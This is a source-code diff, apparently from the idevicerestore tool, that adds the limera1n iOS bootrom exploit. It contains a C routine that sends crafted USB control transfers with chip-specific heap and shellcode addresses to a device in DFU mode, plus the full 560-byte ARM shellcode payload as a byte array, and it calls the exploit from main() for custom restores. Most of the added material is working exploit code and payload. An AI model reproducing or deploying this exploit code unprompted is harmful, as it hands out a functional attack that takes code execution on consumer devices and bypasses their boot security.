diff options
| -rw-r--r-- | src/Makefile.am | 2 | ||||
| -rw-r--r-- | src/idevicerestore.c | 17 | ||||
| -rw-r--r-- | src/limera1n.c | 107 | ||||
| -rw-r--r-- | src/limera1n.h | 7 | ||||
| -rw-r--r-- | src/limera1n_payload.h | 73 |
5 files changed, 205 insertions, 1 deletions
diff --git a/src/Makefile.am b/src/Makefile.am index 831a222..5fbcdef 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -18,6 +18,6 @@ AM_LDFLAGS =\ bin_PROGRAMS = idevicerestore -idevicerestore_SOURCES = idevicerestore.c common.c tss.c img3.c ipsw.c normal.c dfu.c recovery.c restore.c asr.c libirecovery.c +idevicerestore_SOURCES = idevicerestore.c common.c tss.c img3.c ipsw.c normal.c dfu.c recovery.c restore.c asr.c libirecovery.c limera1n.c idevicerestore_CFLAGS = $(AM_CFLAGS) idevicerestore_LDFLAGS = $(AM_LDFLAGS) -lusb-1.0 diff --git a/src/idevicerestore.c b/src/idevicerestore.c index 6733a59..bfe19c7 100644 --- a/src/idevicerestore.c +++ b/src/idevicerestore.c @@ -36,6 +36,8 @@ #include "recovery.h" #include "idevicerestore.h" +#include "limera1n.h" + int use_apple_server; static struct option longopts[] = { @@ -406,6 +408,21 @@ int main(int argc, char* argv[]) { // if the device is in DFU mode, place device into recovery mode if (client->mode->index == MODE_DFU) { recovery_client_free(client); + if (client->flags & FLAG_CUSTOM) { + info("connecting to DFU\n"); + if (dfu_client_new(client) < 0) { + return -1; + } + info("exploiting with limera1n\n"); + // TODO: check for non-limera1n device and fail + if (limera1n_exploit(client->device, client->dfu->client) != 0) { + error("ERROR: limera1n exploit failed\n"); + dfu_client_free(client); + return -1; + } + dfu_client_free(client); + info("exploited\n"); + } if (dfu_enter_recovery(client, build_identity) < 0) { error("ERROR: Unable to place device into recovery mode\n"); plist_free(buildmanifest); diff --git a/src/limera1n.c b/src/limera1n.c new file mode 100644 index 0000000..309b361 --- /dev/null +++ b/src/limera1n.c @@ -0,0 +1,107 @@ +/** + * GreenPois0n Syringe - exploits/limera1n/limera1n.c + * Copyright (C) 2010 Chronic-Dev Team + * Copyright (C) 2010 Joshua Hill + * + * Based on exploit discovered by geohot + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see <http://www.gnu.org/licenses/>. + **/ + +#include <stdio.h> +#include <string.h> +#include <stdlib.h> + +#include "common.h" +#include "limera1n.h" +#include "limera1n_payload.h" +#include "libirecovery.h" + +int limera1n_exploit(struct idevicerestore_device_t *device, irecv_client_t client) +{ + irecv_error_t error = IRECV_E_SUCCESS; + unsigned int i = 0; + unsigned char buf[0x800]; + unsigned char shellcode[0x800]; + unsigned int max_size = 0x24000; + //unsigned int load_address = 0x84000000; + unsigned int stack_address = 0x84033F98; + unsigned int shellcode_address = 0x84023001; + unsigned int shellcode_length = 0; + + + if (device->chip_id == 8930) { + max_size = 0x2C000; + stack_address = 0x8403BF9C; + shellcode_address = 0x8402B001; + } + if (device->chip_id == 8920) { + max_size = 0x24000; + stack_address = 0x84033FA4; + shellcode_address = 0x84023001; + } + + memset(shellcode, 0x0, 0x800); + shellcode_length = sizeof(limera1n_payload); + memcpy(shellcode, limera1n_payload, sizeof(limera1n_payload)); + + debug("Resetting device counters\n"); + error = irecv_reset_counters(client); + if (error != IRECV_E_SUCCESS) { + error("%s\n", irecv_strerror(error)); + return -1; + } + + memset(buf, 0xCC, 0x800); + for(i = 0; i < 0x800; i += 0x40) { + unsigned int* heap = (unsigned int*)(buf+i); + heap[0] = 0x405; + heap[1] = 0x101; + heap[2] = shellcode_address; + heap[3] = stack_address; + } + + debug("Sending chunk headers\n"); + irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000); + + memset(buf, 0xCC, 0x800); + for(i = 0; i < (max_size - (0x800 * 3)); i += 0x800) { + irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000); + } + + debug("Sending exploit payload\n"); + irecv_control_transfer(client, 0x21, 1, 0, 0, shellcode, 0x800, 1000); + + debug("Sending fake data\n"); + memset(buf, 0xBB, 0x800); + irecv_control_transfer(client, 0xA1, 1, 0, 0, buf, 0x800, 1000); + irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 10); + + //debug("Executing exploit\n"); + irecv_control_transfer(client, 0x21, 2, 0, 0, buf, 0, 1000); + + irecv_reset(client); + irecv_finish_transfer(client); + debug("Exploit sent\n"); + + debug("Reconnecting to device\n"); + client = irecv_reconnect(client, 7); + if (client == NULL) { + debug("%s\n", irecv_strerror(error)); + error("Unable to reconnect\n"); + return -1; + } + + return 0; +} diff --git a/src/limera1n.h b/src/limera1n.h new file mode 100644 index 0000000..ed2339a --- /dev/null +++ b/src/limera1n.h @@ -0,0 +1,7 @@ +#ifndef __LIMERA1N_H +#define __LIMERA1N_H +#include "libirecovery.h" + +int limera1n_exploit(struct idevicerestore_device_t *device, irecv_client_t client); + +#endif /* __LIMERA1N_H */ diff --git a/src/limera1n_payload.h b/src/limera1n_payload.h new file mode 100644 index 0000000..6a5627e --- /dev/null +++ b/src/limera1n_payload.h @@ -0,0 +1,73 @@ +unsigned char limera1n_payload[] = { + 0x7f, 0x46, 0x07, 0xe0, 0xc0, 0x46, 0xc0, 0x46, + 0xc0, 0x46, 0xc0, 0x46, 0xc0, 0x46, 0xc0, 0x46, + 0xc0, 0x46, 0xc0, 0x46, 0x61, 0x48, 0x02, 0x68, + 0x61, 0x48, 0x90, 0x42, 0x06, 0xd1, 0x61, 0x49, + 0x39, 0x60, 0x61, 0x49, 0x79, 0x60, 0x61, 0x49, + 0xb9, 0x60, 0x1c, 0xe0, 0x60, 0x48, 0x90, 0x42, + 0x06, 0xd1, 0x60, 0x49, 0x39, 0x60, 0x60, 0x49, + 0x79, 0x60, 0x60, 0x49, 0xb9, 0x60, 0x12, 0xe0, + 0x5f, 0x48, 0x90, 0x42, 0x06, 0xd1, 0x5f, 0x49, + 0x39, 0x60, 0x5f, 0x49, 0x79, 0x60, 0x5f, 0x49, + 0xb9, 0x60, 0x08, 0xe0, 0x5e, 0x48, 0x90, 0x42, + 0x05, 0xd1, 0x5e, 0x49, 0x39, 0x60, 0x5a, 0x49, + 0x79, 0x60, 0x5d, 0x49, 0xb9, 0x60, 0x5d, 0x48, + 0x5d, 0x49, 0x3b, 0x68, 0x98, 0x47, 0x5d, 0x48, + 0x5a, 0x49, 0x4a, 0x68, 0x00, 0xf0, 0x80, 0xf8, + 0x00, 0x28, 0xcb, 0xd0, 0x06, 0x1c, 0x5a, 0x48, + 0x56, 0x49, 0x4a, 0x68, 0x00, 0xf0, 0x78, 0xf8, + 0x00, 0x28, 0xc3, 0xd0, 0x05, 0x1c, 0x11, 0x20, + 0x14, 0x24, 0x29, 0x19, 0x2a, 0x19, 0x30, 0x23, + 0x54, 0x4c, 0x00, 0x94, 0x00, 0x24, 0x01, 0x94, + 0x00, 0x24, 0x02, 0x94, 0x7c, 0x68, 0xa0, 0x47, + 0x11, 0x20, 0x0c, 0x24, 0x31, 0x19, 0x32, 0x19, + 0xb3, 0x68, 0x4f, 0x4c, 0x00, 0x94, 0x24, 0x24, + 0x64, 0x19, 0x01, 0x94, 0x14, 0x24, 0x64, 0x19, + 0x02, 0x94, 0x7c, 0x68, 0xa0, 0x47, 0x45, 0x48, + 0x0c, 0x21, 0x89, 0x19, 0xb2, 0x68, 0x15, 0x1c, + 0x00, 0xf0, 0x4a, 0xf8, 0x47, 0x48, 0x41, 0x49, + 0x2a, 0x1c, 0x00, 0xf0, 0x4d, 0xf8, 0x00, 0x28, + 0x08, 0xd0, 0x01, 0x1c, 0x44, 0x48, 0x45, 0x4a, + 0x00, 0xf0, 0x46, 0xf8, 0x00, 0x28, 0x01, 0xd0, + 0x43, 0x49, 0x01, 0x60, 0x43, 0x48, 0x39, 0x49, + 0x2a, 0x1c, 0x00, 0xf0, 0x3d, 0xf8, 0x00, 0x28, + 0x08, 0xd0, 0x01, 0x1c, 0x40, 0x48, 0x3d, 0x4a, + 0x00, 0xf0, 0x36, 0xf8, 0x00, 0x28, 0x01, 0xd0, + 0x3e, 0x49, 0x01, 0x60, 0x3e, 0x48, 0x31, 0x49, + 0x2a, 0x1c, 0x00, 0xf0, 0x2d, 0xf8, 0x00, 0x28, + 0x08, 0xd0, 0x01, 0x1c, 0x3b, 0x48, 0x35, 0x4a, + 0x00, 0xf0, 0x26, 0xf8, 0x00, 0x28, 0x01, 0xd0, + 0x33, 0x49, 0x01, 0x60, 0x38, 0x48, 0x29, 0x49, + 0x2a, 0x1c, 0x38, 0x4b, 0x00, 0xf0, 0x1e, 0xf8, + 0x00, 0x28, 0x07, 0xd1, 0x36, 0x48, 0x25, 0x49, + 0x2a, 0x1c, 0x36, 0x4b, 0x00, 0xf0, 0x16, 0xf8, + 0x00, 0x28, 0x03, 0xd0, 0x34, 0x49, 0x01, 0x60, + 0x34, 0x49, 0x41, 0x60, 0x00, 0x20, 0x1f, 0x49, + 0x00, 0x22, 0xbb, 0x68, 0x98, 0x47, 0x55, 0xe7, + 0x0b, 0x68, 0x03, 0x60, 0x01, 0x30, 0x01, 0x31, + 0x01, 0x3a, 0x00, 0x2a, 0xf8, 0xd1, 0x70, 0x47, + 0x00, 0x23, 0xff, 0xe7, 0x10, 0xb5, 0x0c, 0x68, + 0x84, 0x42, 0x04, 0xd1, 0x00, 0x2b, 0x07, 0xd0, + 0x4c, 0x68, 0x9c, 0x42, 0x04, 0xd0, 0x02, 0x31, + 0x02, 0x3a, 0x00, 0x2a, 0xf3, 0xd1, 0x00, 0x21, + 0x08, 0x1c, 0x10, 0xbd, 0x88, 0x02, 0x00, 0x00, + 0x39, 0x2e, 0x35, 0x00, 0xe5, 0x36, 0x00, 0x00, + 0x19, 0x09, 0x00, 0x00, 0xdd, 0x39, 0x00, 0x00, + 0x34, 0x2e, 0x34, 0x00, 0x85, 0x4c, 0x00, 0x00, + 0x6d, 0x68, 0x00, 0x00, 0x5d, 0x5a, 0x00, 0x00, + 0x39, 0x2e, 0x33, 0x00, 0x9d, 0x34, 0x00, 0x00, + 0x25, 0x09, 0x00, 0x00, 0x69, 0x39, 0x00, 0x00, + 0x39, 0x2e, 0x33, 0x2e, 0xa5, 0x34, 0x00, 0x00, + 0x71, 0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, + 0x00, 0xc0, 0x02, 0x00, 0x41, 0x54, 0x41, 0x44, + 0x47, 0x41, 0x42, 0x4b, 0x00, 0x02, 0x00, 0x20, + 0x00, 0x00, 0x00, 0x20, 0x1a, 0x78, 0xff, 0x2a, + 0x4f, 0xf0, 0xff, 0x30, 0x00, 0x02, 0x00, 0x00, + 0x00, 0x20, 0x00, 0x20, 0xf3, 0xdf, 0x90, 0xb5, + 0x07, 0x4b, 0x1b, 0x68, 0x4f, 0xf0, 0xff, 0x33, + 0x11, 0x9a, 0xd3, 0xf1, 0x18, 0xbf, 0x01, 0x20, + 0x80, 0xb5, 0x00, 0xaf, 0x82, 0xb0, 0x4f, 0xf0, + 0xb0, 0xb5, 0x02, 0xaf, 0x82, 0xb0, 0x01, 0x28, + 0x00, 0x4b, 0x18, 0x47, 0x00, 0x00, 0x00, 0x41 +}; +unsigned int limera1n_payload_len = 560; |